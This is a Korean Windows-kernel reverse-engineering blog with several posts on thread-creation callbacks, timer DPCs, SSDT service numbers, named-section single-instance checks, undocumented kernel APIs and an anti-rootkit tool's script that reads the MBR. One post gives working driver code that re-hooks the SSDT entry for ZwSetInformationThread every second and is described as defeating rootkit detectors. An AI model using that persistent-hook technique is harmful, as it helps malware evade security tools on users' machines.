    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PEPROCESS ProcessPointer,
    OUT PCLIENT_ID ClientId OPTIONAL,
    IN PCONTEXT ThreadContext OPTIONAL,
    IN PINITIAL_TEB InitialTeb OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN PKSTART_ROUTINE StartRoutine OPTIONAL,
    IN PVOID StartContext
    ) ;
/*++

Routine Description:

    This routine creates and initializes a thread object. It implements the
    foundation for NtCreateThread and for PsCreateSystemThread.

Arguments:  ....

++*/

파라메터가 엄청 많다. 그래도 파라메터 하나하나를 살펴보면 그다지 어렵지는 않음을 확인할 수 있다. 
프로세스 생성과정에서 Initialize Thread를 생성하는데, 그때 내부적으로 PspCreateThread가 호출되는것으로 생각된다.
이제 핵심부만 간단히 살펴보자.



.................

   //
     // If the process does not have its part of the client id, then
    // assign one
    //

    if ( !Process->UniqueProcessId ) {       //Unique한 PID가 지정되어져 있지않다면  1
        CidEntry.Object = Process;
        CidEntry.Attributes = 0;
        Process->UniqueProcessId = ExCreateHandle(PspCidTable,&CidEntry);   //PID를 지정해주고 2
        ExSetHandleTableOwner( Process->ObjectTable, Process->UniqueProcessId );
        if (!Process->UniqueProcessId) {
            PsUnlockProcess(Process);

            MmDeleteKernelStack(KernelStack, FALSE);
            ObDereferenceObject(Process);
            ObDereferenceObject(Thread);

            return STATUS_UNSUCCESSFUL;
        }

        if (PspCreateProcessNotifyRoutineCount != 0) {     //Callback Routine이 하나이상 등록되있다면 3
            ULONG i;

            for (i=0; i<PSP_MAX_CREATE_PROCESS_NOTIFY; i++) {
                if (PspCreateProcessNotifyRoutine[i] != NULL) {
                    (*PspCreateProcessNotifyRoutine[i])( Process->InheritedFromUniqueProcessId,
                                                         Process->UniqueProcessId,
                                                         TRUE
                                                       );
                }
            }
        }
    } 

.......
 
자, 그럼 좀더 자세히 살펴보자.

 1. 디스크립션을 보니  프로세스가 PID를 가지고 있지 않으면, 하나를 할당한다고 되어져 있다. IF문 스코프를 가만히 살펴보니 이 조건에 걸리지 않으면 Process Notiry Routine도 호출되지 않는다.  이 조건에 해당되는 경우를 가만히 생각해보면, 프로세스가 생성될때라는것을 알수 있다. 즉, Unique PID가 없는 시점은 , 프로세스가 처음 생성될때의 시점이며, 만약에 프로세스가 이미 생성되어져 있었다면 UniquePID는 최초 호출된 PspCreateThread에 의해서 이미 지정되어져 있었을 것이다. 그러면 Process Callback Routine이 호출되지 않게 된다. 결과적으로 Process Callback Routine은 프로세스가 처음에 생성될때만 호출될 것이다.  다른 말로 표현하면 Process의 Initialize Thread를 생성하는 시점이고,  이때는 EPROCESS에  PID가 Assign 되어져 있지 않기 때문에,  고유 PID 지정을 PspCreateThread 내부에서 처리해주면서 Process Callback도 호출하는것이다. (자세한것은 WinDBG에서 라이브디버깅으로 적절한 위치에 BP를 걸어두고 EPROCESS를 확인하면 되겠다.)
PID 지정은 PspCreateProcess 등에서 처리할줄 알았는데 의외다.

2.  PID가 없다면 ExCreateHandle을 호출하여  Unique한 PID를 지정해준다. 

3. 그 후에 Process Callback Routine이 하나이상 배열에 존재한다면 배열을 인덱스의 처음부터 시작해서 등록된 순서대로 호출한다. 

그럼 만약 이미 생성되어져 있는 프로세스의 EPROCESS->UniquePID를 NULL로 지정해버리고, 그 후에 CreateThread를 이용해서 쓰레드를 생성해버리면 어떻게 될까?  과연 이미 생성되어져 있는 프로세스 내부에서 CreateThread를 호출했을 경우, 쓰레드가 생성될때마다 Process Callback Routine이 호출될것인가?  이 내용은 다음에....-_-;;; (현재는 귀차니즘이 발동해서)
 



다음으로 Thread Notify Routine을 살펴보자.  이건 간단하다.
본문상에는 서술하지 않았지만 , 코드를 살펴보면 Process Callback이 호출된 다음, 컨텍스트와 StartRoutine을 초기화 해주고KiInitializeThread 를 호출하고 난뒤,  Thread Ready List에 집어넣기전에, Thread Callback Routine을 호출하는 부분이 존재한다.

     //
    // Notify registered callout routines of thread creation.
    //

    if (PspCreateThreadNotifyRoutineCount != 0) {
        ULONG i;

        for (i=0; i<PSP_MAX_CREATE_THREAD_NOTIFY; i++) {
            if (PspCreateThreadNotifyRoutine[i] != NULL) {
                (*PspCreateThreadNotifyRoutine[i])( Thread->Cid.UniqueProcess,
                                                    Thread->Cid.UniqueThread,
                                                    TRUE
                                                   );
            }
        }
    }

그냥 특별한 다른 조건은 존재하지 않고, Thread Notify Routine이 하나이상 등록되어져 있다면 , Thread Callback을 호출한다.

결과적으로 유저가 만약에  Process와 Thread 콜백을 둘다 등록해놓았을 경우, 프로세스가 처음에 생성될때는 Process,Thread 둘다 호출이 될것이다.



ps. Terminate 될때의 호출시점은 다루지 않았는데, 그것은 다음에.... 
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.05.21 00:09
시간이 나서, Timer DPC에 관해서 정리해보고자 글을 쓴다.

  먼저 Timer DPC 라는 제목을 살펴보자. Timer와 DPC 2개로 분리가 된다. Timer는 뭔가 시간이 흐른다는것을 예상해볼 수 있고, DPC는 Deferred Procedure Call 의 약자로써, 지연된 처리의 호출이라고 해석할 수 있다. 사실 Timer의 의미는 대략적으로 예상해볼 수 있는데,  DPC는 뭐가 도대체 지연된 호출인가? 지연된 호출이 왜 필요하단 말인가? 하고 궁금증이 생길 수 있다.

  DPC를 이해하기 위해서는 IRQ 우선순위와 커널의 인터럽트 처리 메커니즘을 알고있어야 하는데, 일반적으로 외부 하드웨어에서 CPU에 인터럽트를 보내면 커널은 이를 인지하여 , 해당 하드웨어에 맞는 ISR을 적절히 선택하여 인터럽트 처리를 수행한다. 그런데 보통 이러한 인터럽트 서비스 루틴은 해당 하드웨어의 요청에 정말 필요한 크리티컬 코드들로만 짧게 구성되어져 있는데, 이는 어느 특정 인터럽트 서비스 루틴으로 인해, 다른 인터럽트 처리의 방해가 없도록 하기 위해서이다. 여기서 갑자기 방해가 왜 나올까? 라고 생각해볼수가 있는데, 여기에서 인터럽트 우선순위 레벨(IRQL) 을 생각해볼 수 있다. 예를 들어 시스템에서 특정 하드웨어가 있는데 , 이 하드웨어는 매우 크리티컬한 요소라서 최우선적으로 처리되어야 할 놈이라고 가정해보자. 이 하드웨어는 IRQL26 우선순위를 부여받고, ISR을 처리하게된다고 가정했을때,  ISR에서 빨리 끝내주지 않고 , 질질 끌게되면 다른 우선순위 낮은 하드웨어(예 : 키보드) 가 인터럽트 처리를 요청했을때, 우선순위 높은 애가 아직 CPU를 부여잡고 있으므로, 기다릴수 밖에 없을것이다.  키보드 빨리빨리 입력해야하는데 , 키보드가 드득드득 지연되면서 입력되는것을 상상해본적이 있는가? 
  그럼 이 문제를 해결하려면 어떻게 해야할까? 참 이런거 생각한사람들은 머리가 좋은것 같다. (어찌보면 단순한가?)  해결법은 ISR을 최대한 단순하고 중요한 코드들로만 구성하고, 만약에 ISR에서 못다한 그리 중요하지않은 추가적인 작업이 필요할 경우, DPC라는 녀석을 요청하는것이다. DPC는  DIRQL이상의 하드웨어 인터럽트 처리가 완료되고나서 , PASSIVE_LEVEL로 떨어지기 전에 DISPATCH_LEVEL에서 작동하는 구간인데, SW Interrupt(PASSIVE_LEVEL, APC_LEVEL , DISPATCH_LEVEL) 중에서는 가장 높은 레벨에 속한다. 이렇게 되면 하드웨어 인터럽트 처리가 완료되고 난다음에 DPC가 처리되기 때문에 , 다른 하드웨어의 인터럽트를 처리하는데 별 무리가 없을것이다.


  이제 Timer DPC의 의미를 다시 한번 생각해보자. DPC는 HW ISR처리가 완료되고난다음, DISPATCH_LEVEL에서 작동하는 SW INT인데 , 이것이 Timer와 합쳐지면 어떤 관련이 있을까? 사실 필자도 이것에 관해서 딱히 책에서 찾아본적은 없는데, 가만히 생각해보면 DPC는 SW INT이므로 , "커널 Timer의 힘을 빌어서 주기적으로 발생되는 SW INT" 라고 생각해도 크게 나쁜것 같지는 않다.

본격적으로 윈도우 커널에서 제공하는 Timer 관련 함수들중 자주 사용되는 함수들을 알아보자.
 
 
1. NTKERNELAPI VOID KeInitializeTimer ( __out PKTIMER Timer );

2. NTKERNELAPI BOOLEAN KeSetTimerEx ( __inout PKTIMER Timer, __in LARGE_INTEGER DueTime, __in LONG Period, __in_opt PKDPC Dpc );

 3. NTKERNELAPI BOOLEAN KeCancelTimer ( __inout PKTIMER )
 

 
 1. 타이머를 사용하기에 앞서 , 초기화를 수행해주는 함수이다.  ExAllocatePool을 이용하여 SystemPool에 KTIMER만큼 할당한뒤, 사용하는것을 권장.

2. 타이머 설정&시작 함수인데, 옵션으로 DPC루틴도 파라메터로 전달할수 있어서, 주기적으로 처리해야할 작업이 있을경우 요긴하게 쓸수 있다. 참고로 , KeSetTimer 함수와 KeSetTimerEx 함수간의 차이가 존재하는데,  KeSetTimer 함수는 Signal이 한번만 발생해서 DPC루틴이 한번만 호출되고 끝나게 되고,  KeSetTimerEx는 LONG Period만큼 주기적으로 DPC루틴이 호출되게 된다.
 
 
3. 타이머를 취소하는 함수로써 , 본인 코드 구성에 따라, 필요에따라 UnloadRoutine 같은곳에 넣어준다.


필자는 따로 편리하게 쓰기 위해서 함수를 정의한뒤, 

PKTIMER
InitializeTimer(VOID)
{
PKTIMER Timer;

Timer = (PKTIMER)ExAllocatePool(NonPagedPool, sizeof(KTIMER));
if(Timer == NULL)
{
return NULL;
}

KeInitializeTimer(Timer);
return Timer;
}

PKDPC
SetTimer
(
IN PKTIMER Timer,
IN LONG Period, 
IN OPTIONAL KDEFERRED_ROUTINE TimerDpcRoutine, 
IN OPTIONAL PVOID DpcRoutineContext
)
{
LARGE_INTEGER TimePeriod;
PKDPC DpcObj;

DpcObj = NULL;

if(TimerDpcRoutine != NULL)
{
DpcObj = (PKDPC) ExAllocatePool(NonPagedPool, sizeof(KDPC));
if(DpcObj == NULL)
{
return NULL;
}
KeInitializeDpc(DpcObj, TimerDpcRoutine, DpcRoutineContext);
}

TimePeriod.QuadPart = -100;
KeSetTimerEx(Timer, TimePeriod, Period, DpcObj);

return DpcObj;
}
 
VOID
ReleaseTimer(IN PKTIMER Timer, IN OPTIONAL PKDPC DpcObj)
{
KeCancelTimer(Timer);
ExFreePool(Timer);

if(DpcObj != NULL)
{
ExFreePool(DpcObj);
}
}


DriverEntry에  다음과 같은 코드를 넣어주었다.


TimerObj = InitializeTimer();
if(TimerObj == NULL)
{
return STATUS_UNSUCCESSFUL;
}
TimerDpcObj = SetTimer(TimerObj, 1000, TimerDpcRoutine, NULL);
if(!TimerDpcObj)
{
return STATUS_UNSUCCESSFUL;
}


또한 UnloadRoutine에는 다음과 같은 코드를 넣어주었다.

ReleaseTimer(TimerObj, TimerDpcObj);
 


이제 TimerDpcRoutine을 살펴보자.

 VOID TimerDpcRoutine(
IN PKDPC Dpc,
IN OPTIONAL PVOID DeferredContext,
IN OPTIONAL PVOID SystemArgument1,
IN OPTIONAL PVOID SystemArgument2
)
{
DBG_PRINT1("Warning! This routine executes on DISPATCH_LEVEL!\n");

if(IsSSDTAlreadyHooked(
(PBYTE)ZwSetInformationThread, 
(PBYTE)NewZwSetInformationThread, 
(PDWORD)KeServiceDescriptorTable.KiServiceTable) == FALSE)
{
disableWP_CR0();
OldZwSetInformationThread = (ZwSetInformationThreadPtr) hookSSDT((PBYTE)ZwSetInformationThread, 
(PBYTE)NewZwSetInformationThread, 
(PDWORD)KeServiceDescriptorTable.KiServiceTable);
enableWP_CR0();
}
return;
}

Timer DPC를 이용해서 간단하게 주기적으로 SSDT훅을 거는 코드를 구성해보았다. 이렇게 코드를 구성하면 , Timer DPC Detect 기능이 없는 루트킷 디텍터에서 SSDT를 Restore 한다고 해도, 1초마다 훅이 걸려있는지 검사해서 다시 훅을 걸어버리기 때문에, 악성 루트킷에서 요긴하게 사용될법 하다.
주의할점은, DPC Routine에서 Zw Routine은 호출하면 안된다는것이다. (Zw Routine은  PASSIVE_LEVEL에서만 호출이 가능하다!)

 

테스트 결과 잘 작동이 되었다.
아래는 스크린 샷.


드라이버를 시작한 모습.  DriverEntry에서 훅을 거는 코드를 작성하진 않았고 , TimerDpcRoutine에 훅을 거는 코드를 삽입했다. 따라서 , 훅은 TimerDpcRoutine에 의해서 걸린것이다.


SSDT Restore를 수행하려고 시도중인 모습.


SSDT Restore를 수행해도 바로 훅이 다시 걸린다. Period를 적절히 조절해주면 Performance도 어느정도 확보할 수 있을것 같다.


 
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.05.05 11:30
처음 SSDT 훅을 접해보는 사람은, 그냥 아무 생각없이 서비스넘버를 하드코딩 하는 경우가 다반사일 것이다. 물론 필자도 그랬었다. 
(아 그냥 , 하드코딩 개념이랑 비슷하구나, 단순히 구분을 위한 숫자이구나 라고 생각했었다.)
  그래서 서비스넘버에 관해서 자세히 알아볼 필요성이 있을것 같아서, 생각 정리도 할겸 포스팅을 해본다.


아래는 Windows Internal Fifth Edition 영문판의 128페이지에 나오는 내용이다.

2011:04:09 00:45:00

 
 Windows Internal에 따르면 , System Service Number는  Compile time때 Automatic Generate된 번호로써, 마이크로소프트 서비스팩 버젼에 따라서, OS버젼에 따라서 바뀔 가능성이 언제든지 존재한다. (이래서, 하드코딩은 금물이다)
 그 번호는 총 14비트로 구성되며, MSB 2Bit는 Service Table Index, LSB 12Bit는 System Service Number 이다.
System Service Number는 말 그대로,  시스템콜 디스패칭 식별을 위한 식별자이며,
Service Table Index를 살펴보면 , 2Bit이므로 총 4개까지의 서비스 테이블이 시스템에 존재할 수 있게된다.
ServiceDescriptorTable 구조체를 살펴보면 쉽게 알수있다.

#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
UINT* ServiceTableBase;
UINT* ServiceCounterTableBase;
UINT NumberOfServices;
UCHAR* ParamTableBase;
} SDE, *PSDE;
#pragma pack()

typedef struct ServiceDescriptorTable
{
SDE ntoskrnl;           //00b
SDE win32k;             //01b
SDE Reserved0;        //10b
SDE Reserved1;        //11b
} SDT, *PSDT;

 ntoskrnl와 , win32k, Reserved0, Reserved1  총 4개의 서비스 테이블이 존재할수가 있다.
WinDBG로 살펴보면 알수있다.

 

2011:04:09 01:06:19

위 스샷에는 Reserved0와 Reserved1 항목은 서비스 디스패칭 용도가 아닌, 아예 다른 용도로 쓰여지고 있는것 같았다.
(확실치는 않다. 아시는분 알려주세요)
결과적으로 MSB 2Bit는 테이블 인덱스 식별자이다.

NTDLL.DLL에 포함되어져 있는, 서비스 디스패칭 루틴들의 서비스번호는
0x0XXX형태를 띄고있는데,
이것을 Binary로 바꿔보면,

00 1111 1111 1111 의 형태이다.

USER/GDI 서비스가 호출될때의 서비스 디스패칭 루틴들의 서비스번호는
0x1XXX형태를 띄고 있고, 이것을 바이너리로 바꿔보면

01 1111 1111 1111 의 형태이다.
(참고로, win32k subsystem driver는  Current Thread가 GUI Thread일때 , KeAddSystemServiceTable에 의해서 추가되어져서, NonPagedPool로 바뀌면서 ,, 서비스 호출이 이루어진다고 알고있다.)


나중에 혹시나 서비스 테이블이 더 추가된다면,
0x2XXX (10 1111 1111 1111) , 0x3XXX( 11 1111 1111 1111) 의 형태로 추가될 것이다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.04.09 14:29
Named-mutant를 이용한 다중실행 방지 기법은 , 이미 지겹도록 다루어졌고 널리 퍼졌기때문에
이번엔 다른 커널 객체를 이용한 방법을 간단히 다루고자 한다.

결론부터 말하면, 별거없고 그냥 다른 커널객체를 이용할 뿐이다.

바로 소스를 살펴보면,

NTSTATUS ntRet = STATUS_SUCCESS;
HANDLE hSection;
UNICODE_STRING SectionName;
OBJECT_ATTRIBUTES SectionAttributes;
LARGE_INTEGER SectionSize;
CHAR Dbgmsg[100];

RtlInitUnicodeString(&SectionName, L"\\BaseNamedObjects\\s0neSectionObject");
InitializeObjectAttributes(&SectionAttributes, &SectionName, OBJ_OPENIF, NULL, NULL);
SectionSize.QuadPart = 0x1000;   //optional

ntRet = ZwOpenSection(&hSection, SECTION_ALL_ACCESS, &SectionAttributes);

//Is named-section already exist?
if( NT_SUCCESS(ntRet) )
{
ZwClose(hSection);
sprintf_s(Dbgmsg, sizeof(Dbgmsg), "Application is already running. (0x%08X)", ntRet);
MessageBoxA(GetForegroundWindow(), Dbgmsg, "Error", MB_OK);
return EXIT_SUCCESS;
}
else
{
//Create new named-section.
ntRet = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &SectionAttributes, &SectionSize, PAGE_READWRITE, SEC_COMMIT, NULL);

if( !NT_SUCCESS(ntRet) )
{
sprintf_s(Dbgmsg, sizeof(Dbgmsg), "Section create failed. (0x%08X)", ntRet);
MessageBoxA(GetForegroundWindow(), Dbgmsg, "Error", MB_OK);
return EXIT_FAILURE;
}


//.....continue execution......
         }


먼저 특정 이름의 섹션이 존재하는지 확인한 뒤, 존재한다면 이미 실행중이라 판단하고 종료하고, 
존재하지 않는다면 실행중이지 않다고 판단해서 고유의 이름을 가진 섹션을 새로 생성한다.
사람들이 거의다 뮤텍스만 사용하기때문에, 섹션은 조금 생소할수도 있으나,
따지고보면 결국은 이름 지정이 가능한 다른 커널 객체를 이용한다고 볼수있다.

VS2010 빌드

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.02.27 10:25

 
Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 15:12:01
전 사실 이 책이 2009년에 나온지도 전혀 모르고 있었습니다 -_-;;
어찌보면 당연할수도 있는것이, 국내에 출간되지 않은 책이지요...
가지고 계시는분도 본적도 없고, 구매하셨다는분도 못들어봤구요...


 

Apple | iPhone 3GS | Normal program | Spot | 1/40sec | F/2.8 | 3.9mm | ISO-80 | No flash function | 2011:01:25 15:14:53
책 내용을 살펴보면 자세한 소스코드와 함께, 바로바로 실습할 수 있게끔 설명도 잘되어져 있고 내용 완성도가 매우 높아보입니다.
해외 온라인 평가를 살펴봐도, 아주 좋다는 응답이 많습니다.





Apple | iPhone 3GS | Normal program | Spot | 1/15sec | F/2.8 | 3.9mm | ISO-64 | No flash function | 2011:01:25 18:07:57
이 책을 읽음으로써 배울수 있게되는 내용들이 뒷면에 적혀져 있네요.
저도 아직 모르는것들이 많아서, 다른 서적들과 병행해서 차근차근 읽어볼 계획입니다..
이 책은  멀티프로세서 시스템과 , 윈도우 비스타의 커널 구조를 다룬다는것이 이전 루트킷 서적과 비교했을때 가장 큰 특징이라고 생각됩니다.




Apple | iPhone 3GS | Normal program | Spot | 1/10sec | F/2.8 | 3.9mm | ISO-1000 | No flash function | 2011:01:25 18:27:49

책 사이즈가 생각보다 아담하네요..
두께는 두껍지만(908페이지) 폭이 넓지가 않아서 휴대하는데 생각보다 간편할듯 합니다.



 

Apple | iPhone 3GS | Normal program | Average | 1/12sec | F/2.8 | 3.9mm | ISO-640 | No flash function | 2011:01:25 18:29:21

루트킷 서적과 사이즈 비교한 모습입니다.
실제로 보면 더 작아보입니다.

전 사실 이 책에 대한 첫 인상이, 표지에 한자가 써져있길래 속칭 짱깨 서적인줄 알았습니다....
어쨌든 좋은책인것은 분명합니다.
국내에도 빨리 정식출간 됐으면 좋겠네요.

이 책에 관해서 자세히 알아보시려면
구글에서 The Rootkit Arsenal - Escape and Evasion in the Dark Corners of the System
이라고 치면, 구글 도서 검색결과가 나오는데 거기 들어가시면 목차와 세세한 내용들이 나옵니다.

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.01.25 20:20

MS 윈도우7 서비스 팩1 RTM이 암암리에 배포되기 시작하면서, 많은 사람들이 설치를 하고 있다.
곧, MS에서도 정식으로 발표할 것으로 생각되는데,

미리 입수하여 설치를 한다음, 커널 바이너리를 까본 결과, Export Table에서 다음의 Native API가 추가된것을 확인할 수 있었다.

ZwRenameKey


이름만 봐서는 별건 아니고 레지스트리의 키 이름을 바꿔주는 역할을 하는 API 같은데, 왜 추가 됐는지는 알수없다.


서비스 넘버가 0x122로 새로 추가되었기 때문에, 다른 Native API의 서비스 넘버도 변경된것들이 많을 것이다.
물론 서비스넘버로 직접 하드코딩하는것은 도박에 가까운 짓이긴 하나, 가끔 실험삼아 할때도 있을수 있기때문에,
MS Windows 7 SP1에서 서비스 번호가 바꼈다는것을 인지하고 있으면 될듯하다.


* WDK 7.1.0에서 제공하는 API이긴 하나,  7600 ntoskrnl 바이너리 내부의 Export Table에는 존재하지 않더군요,
아래의 스샷을 통해서 확실하게 비교가 가능합니다.

Build 7600


Build 7601



옵션 : MS Windows 7 Kernel Binary (7600 & 7601)
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.01.19 19:01
종종 윈도우커널에서 삽질을 하면서, 현재 쓰레드가 Win32Thread인지의 여부를 확인해야 될때가 있다.

그럴때는  Thread Control Block인 KTHREAD의 Win32Thread 멤버의 값을 확인해야하는데,
이 멤버의 값이 어떠한 NULL이 아닌 포인터를 지니고 있다면, Win32Thread로 판단하면 된다.

문제는 MS에서 KTHREAD구조체를 명시해주지 않았기 때문에, 
실제로 저 멤버를 찾아가는데 있어서 아래와 같이 OS버젼별로 상당한 도박이 뒤따르게 된다. 

//+0x130 Win32Thread      : Ptr32 Void Windows XP SP3
//+0x18c Win32Thread      : Ptr32 Void  Windows 7 7600

위와 같이 하드코딩 해주게 되면, 나중에 OS가 패치될때라던가, 어떻게 될지 모르기 때문에 상당히 위험하다.

따라서 조금이나마 위험도를 줄이고자, 이리저리 알아보니 커널에서 Win32Thread인지 확인하는 용도로 제공되는 Undocument API가 제공되고 있음을 확인하였다.

NTKERNELAPI PVOID PsGetThreadWin32Thread(__in PETHREAD pThread);

Win32Thread 여부를 확인하고자하는 Target Thread의 PETHREAD를 파라메터로 전달해주면 Win32Thread멤버의 값을 리턴해주는 역할을 한다. 실제 내부가 어떻게 구현되어져있는지 Windbg와 Ollydbg로 한번 살펴보았다.

//MS WindowsXP SP3
0: kd> u nt!PsGetThreadWin32Thread
nt!PsGetProcessWin32Process:
8052d208 8bff            mov     edi,edi
8052d20a 55              push    ebp
8052d20b 8bec            mov     ebp,esp
8052d20d 8b4508          mov     eax,dword ptr [ebp+8]
8052d210 8b8030010000    mov     eax,dword ptr [eax+130h]
8052d216 5d              pop     ebp
8052d217 c20400          ret     4
8052d21a cc              int     3


//MS Windows7


두 OS별로 함수를 비교해보면 결국은 다섯번째 줄에있는 eax+130h냐  eax+18ch냐의 차이만 있다.
(KTHREAD 구조체가 다르기 때문)


PsGetThreadWin32Thread와  거의 동일한 기능을 제공하는 함수로써,  
PVOID PsGetCurrentThreadWin32Thread(VOID); 
가 있는데, 이 함수는  FS:[124]에 접근해서 현재 쓰레드의 PETHREAD를 얻어온뒤, Win32Thread에 접근하는 방식이다.


이런 Undocument 함수를 사용함으로써 명심해야될것은, 커널에서 제공해주는 API이긴 하나, 
어찌됐건간에 공개되지 않은 Undocument API이므로 언제 어떻게 될지 모른다는 것이다.  그러므로 100% 안전하다고 볼수없다.



* 참고 *

이 함수와 반대되는 기능을 가진 Undocument API로는 PsSetThreadWin32Thread가 있다.
이 함수의 타입은 다음과 같다.
NTKERNELAPI VOID PsSetThreadWin32Thread(__in PETHREAD pThread, __in PVOID Win32Thread);
저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
by Sone 2011.01.07 15:17
Kernel Detective 1.3.1 버젼에서 업데이트 되었습니다.
개인적인 바램으론 , Windows 7에서 안정성 향상이 되었으면 하는 바램입니다.
일단, 제가 실행해보니 Windows 7 에서는 특별한 문제는 아직까지 발견하지 못했습니다.

Update Date : Wednesday 08 December 2010 - 16:38:33


What's new in v1.4.0 :

- Added plugins system
- Added support for windows server 2008, seven sp1
- Enhanced stability on NT 6.0+ (windows vista/seven)
- Improved driver scan
- Improved code hook scan
- Fixed bug prevent the tool from working on windows xp
- Fixed bug related to long paths
- Fixed bug in process/driver dumper
- Fixed bug in IDT scan




이번 버젼에서 가장 큰 개선점은 , 플러그인 시스템이 지원된다는것입니다.
그중에서 기본으로 탑재되있는 C/C++기반의 스크립트 기능이 강력한것 같네요.
아래 Example 코드를 보시겠습니다.

#include "hxdmp.kds"

USHORT MasterBootRecord[512/sizeof(USHORT)];
UCHAR StatusRegister;
CHAR __strbuff[512];

KdWriteLog("Accessing disk by PIO-Mode ...\r\n");
memset((char *)&MasterBootRecord, 0x00, sizeof(MasterBootRecord));

KdWritePortChar(0x1f6, 0xA0);
KdWritePortChar(0x1f2, 0x01);
KdWritePortChar(0x1f3, 0x01);
KdWritePortChar(0x1f4, 0x00);
KdWritePortChar(0x1f5, 0x00);
KdWritePortChar(0x1f7, 0x20);
for (ULONG tryCounter = 0; tryCounter < 10000; tryCounter++) {
    StatusRegister = KdReadPortChar(0x1f7);
    if (StatusRegister & 0x08)
        break;
}

sprintf(__strbuff, "StatusRegister = %x\r\n", StatusRegister);
KdWriteLog(__strbuff);
KdReadPortBufferShort(0x1f0, MasterBootRecord, 512/sizeof(USHORT));
if (StatusRegister & 0x58) {
    KdWriteLog("Master boot record (MBR):\r\n");
    PCHAR strHexDump = HexDump((PUCHAR)MasterBootRecord, 512);
    KdWriteLog(strHexDump);
    delete strHexDump;
}



위 코드의 실행결과 입니다.


Accessing disk by PIO-Mode ...
StatusRegister = 58
Master boot record (MBR):
0x0000 : 33 c0 8e d0 bc 00 7c 8e c0 8e d8 be 00 7c bf 00 3.....|......|..
0x0010 : 06 b9 00 02 fc f3 a4 50 68 1c 06 cb fb b9 04 00 .......Ph.......
0x0020 : bd be 07 80 7e 00 00 7c 0b 0f 85 0e 01 83 c5 10 ....~..|........
0x0030 : e2 f1 cd 18 88 56 00 55 c6 46 11 05 c6 46 10 00 .....V.U.F...F..
0x0040 : b4 41 bb aa 55 cd 13 5d 72 0f 81 fb 55 aa 75 09 .A..U..]r...U.u.
0x0050 : f7 c1 01 00 74 03 fe 46 10 66 60 80 7e 10 00 74 ....t..F.f`.~..t
0x0060 : 26 66 68 00 00 00 00 66 ff 76 08 68 00 00 68 00 &fh....f.v.h..h.
0x0070 : 7c 68 01 00 68 10 00 b4 42 8a 56 00 8b f4 cd 13 |h..h...B.V.....
0x0080 : 9f 83 c4 10 9e eb 14 b8 01 02 bb 00 7c 8a 56 00 ............|.V.
0x0090 : 8a 76 01 8a 4e 02 8a 6e 03 cd 13 66 61 73 1c fe .v..N..n...fas..
0x00A0 : 4e 11 75 0c 80 7e 00 80 0f 84 8a 00 b2 80 eb 84 N.u..~..........
0x00B0 : 55 32 e4 8a 56 00 cd 13 5d eb 9e 81 3e fe 7d 55 U2..V...]...>.}U
0x00C0 : aa 75 6e ff 76 00 e8 8d 00 75 17 fa b0 d1 e6 64 .un.v....u.....d
0x00D0 : e8 83 00 b0 df e6 60 e8 7c 00 b0 ff e6 64 e8 75 ......`.|....d.u
0x00E0 : 00 fb b8 00 bb cd 1a 66 23 c0 75 3b 66 81 fb 54 .......f#.u;f..T
0x00F0 : 43 50 41 75 32 81 f9 02 01 72 2c 66 68 07 bb 00 CPAu2....r,fh...
0x0100 : 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66 .fh....fh....fSf
0x0110 : 53 66 55 66 68 00 00 00 00 66 68 00 7c 00 00 66 SfUfh....fh.|..f
0x0120 : 61 68 00 00 07 cd 1a 5a 32 f6 ea 00 7c 00 00 cd ah.....Z2...|...
0x0130 : 18 a0 b7 07 eb 08 a0 b6 07 eb 03 a0 b5 07 32 e4 ..............2.
0x0140 : 05 00 07 8b f0 ac 3c 00 74 09 bb 07 00 b4 0e cd ......<.t.......
0x0150 : 10 eb f2 f4 eb fd 2b c9 e4 64 eb 00 24 02 e0 f8 ......+..d..$...
0x0160 : 24 02 c3 49 6e 76 61 6c 69 64 20 70 61 72 74 69 $..Invalid parti
0x0170 : 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 tion table.Error
0x0180 : 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 loading operati
0x0190 : 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e ng system.Missin
0x01A0 : 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 g operating syst
0x01B0 : 65 6d 00 00 00 63 7b 9a 1a ba 12 d7 00 00 80 20 em...c{........ 
0x01C0 : 21 00 07 fe ff ff 00 08 00 00 00 f8 73 07 00 00 !...........s...
0x01D0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01E0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x01F0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa ..............U.


이제 이 프로그램을 사용하는 사람이 어떤 마음을 먹느냐에 달려있다고 봅니다.
개인적으로 이런 좋은 "안티루트킷" 프로그램이 게임핵 따위에 이용되다가 , 
nProtect GG , Ahnlab HS등에 차단되지 않았으면 하는 바램입니다.

Org Referenced : http://at4re.com


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License

'Reverse Engineering' 카테고리의 다른 글

ZwOpenSection, ZwCreateSection을 이용한 멀티로드 방지  (3) 2011.02.27
The Rootkit Arsenal  (5) 2011.01.25
Kernel Detective 1.4  (0) 2010.12.09
Tuluka kernel inspector v1.0.394.77  (4) 2010.10.31
RKUnhooker LE v3.8.388.590 SP2  (0) 2010.10.31
IDA Stealth 1.3.2  (0) 2010.10.10
by Sone 2010.12.09 20:46

Goal

